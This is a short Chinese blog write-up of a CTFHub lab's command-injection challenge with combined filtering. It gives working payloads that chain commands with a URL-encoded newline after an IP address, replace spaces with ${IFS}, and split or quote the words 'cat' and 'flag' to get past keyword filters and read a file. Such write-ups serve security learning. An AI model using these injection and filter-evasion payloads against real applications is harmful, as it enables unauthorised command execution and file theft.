ctfhub 综合过滤

原创

林一不是01 于 2020-09-15 21:51:53 发布 648 收藏

题目考点

命令注入

过滤运算符、过滤目录分隔符、过滤反斜杠、过滤空格、过滤封号、过滤cat、过滤关键字flag和ctfhub

首先我们要使用ls列目录，发现这里过滤了运算符，绕过的方式有%0a、%0d、%0D%0A，经测试这里可以使用%0a

```
127.0.0.1%0als
```

空格及关键词过滤绕过

我们使用ls flag_is_here列出子目录的文件，免不了绕过空格和flag的顾虑，绕过空格前面已经有writeup中附带了相关技巧，我们这里使用${IFS}绕过 绕过flag关键字，我们使用的方法也是多种多样，这里不一一列出了，经过尝试可以使用(来绕过关键字过滤，如fl)ag_is_here

flag和cat过滤

可以使用

```
a=c;b=at;c=fl;d=ag;$a$b $c$d
```

```
127.0.0.1%0als${IFS}fl$*ag_is_here
```

接下来我们的思路就是cd进入目录，然后cat读取文件，命令之间使用%0a进行断开

cat过滤绕过

因为过滤了cat，我们这里使用单引号绕过过滤，如ca''t

构造payload

```
127.0.0.1%0acd${IFS}fl$ag_is_here%0aca''t${IFS}fl$a*gxxxxxxxxxx.php
```

得到flag